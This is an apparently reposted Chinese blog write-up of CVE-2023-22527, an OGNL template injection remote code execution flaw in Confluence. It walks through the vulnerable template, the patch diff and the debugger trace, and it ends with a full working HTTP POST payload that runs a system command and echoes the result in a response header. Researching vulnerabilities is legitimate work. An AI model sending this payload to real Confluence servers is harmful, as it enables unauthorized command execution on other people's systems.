CVE-2023-22527-Confluence模版注入命令执行

admin 2024年6月28日19:19:11评论7 views字数 2018阅读6分43秒阅读模式

光阴似箭,我好像追不上!

Time flies like an arrow, and I feel like I can't keep up!

很久没有关注最近出现的新漏洞了,这两天居然看见24年初confluence就爆出了一个的模版注入漏洞(居然过了半年才发现。。。),决定看看是怎么回事。CVE-2023-22527-Confluence模版注入命令执行

漏洞分析

在网上搜索相关信息,发现漏洞触发点在/template/aui/text-inline.vm,那就先看看atlassian-confluence-8.5.3/confluence/template/aui/text-inline.vm(使用的confluence-8.5.3与confluence-8.5.4进行分析的)可以很明显看到在$stack.findValue("getText('$parameters.label')")中获取了请求中的label参数并传入了stack.findValue中,大概率就是这里产生的模版注入CVE-2023-22527-Confluence模版注入命令执行

先对比一下confluence-8.5.3与confluence-8.5.4漏洞修复后有了哪些改动,看到删除了文件ConfluenceStrutsUtil.class,并且继承了VelocityStrutsUtil,和模版有关,就从这里作为入手点进行调试跟进CVE-2023-22527-Confluence模版注入命令执行

在ConfluenceStrutsUtil.class处下断点,使用常规的payload先看看:CVE-2023-22527-Confluence模版注入命令执行

通过跟踪context数据的流向,从ConfluenceStrutsUtil.class开始最后可以发现调用了com.opensymphony.xwork2.ognl.OgnlValueStack#findValue并传入了我们输入的payloadCVE-2023-22527-Confluence模版注入命令执行

最后在Ognl.getValue(tree, context, root)处进行执行OGNL表达式CVE-2023-22527-Confluence模版注入命令执行

成功发现传入的OGNL表达式已经成功执行,既然能执行OGNL表达式,那么多半就可以进行命令执行了CVE-2023-22527-Confluence模版注入命令执行

命令执行Payload编写

参考文章https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/?ref=blog.projectdiscovery.io 根据文章介绍org.apache.struts2.views.jsp.ui.OgnlTool 类在没有 OgnlContext 的情况下调用 Ognl.getValue(),即使 Ognl 库将负责创建默认值,但它不由Struts 框架提供,所以没有Struts 框架的安全限制。给出了Velocity模版模块利用链如下:

  • .KEY_velocity.struts2.context -> (StrutsVelocityContext)
    • ognl (org.apache.struts2.views.jsp.ui.OgnlTool)
    • struts (org.apache.struts2.views.velocity.result.VelocityStrutsUtils)CVE-2023-22527-Confluence模版注入命令执行

虽然能够执行命令了,但是还是没能回显,看见网上的poc后发现使用@org.apache. struts2.ServletActionContext@getResponse().setHeader来进行命令回显CVE-2023-22527-Confluence模版注入命令执行

Payload

使用@org.apache. struts2.ServletActionContext@getResponse().setHeader和Velocity模版模块利用链最终得到命令执行并带回显的payload:

POST /template/aui/text-inline.vm HTTP/1.1
Host: xxxx
Content-Type: application/x-www-form-urlencoded
User-Agent: https://t0ngmystic.com?agent=VDBuZ215c3RpYw==
Content-Length: 293

label=u0027%2b#request.get(u0027.KEY_velocity.struts2.contextu0027).internalGet(u0027ognlu0027).findValue(#parameters.poc,{})%2bu0027&[email protected]. struts2.ServletActionContext@getResponse().setHeader('CMDR',(new freemarker.template.utility.Execute()).exec({"id"}))

CVE-2023-22527-Confluence模版注入命令执行已写好EXP,后台回复"CVE-2023-22527"获取:CVE-2023-22527-Confluence模版注入命令执行

文笔垃圾,技术欠缺,欢迎各位师傅请斧正,非常感谢!

原文始发于微信公众号(T0ngMystic工作站):CVE-2023-22527-Confluence模版注入命令执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月28日19:19:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-22527-Confluence模版注入命令执行http://cn-sec.com/archives/2896093.html

发表评论

匿名网友 填写信息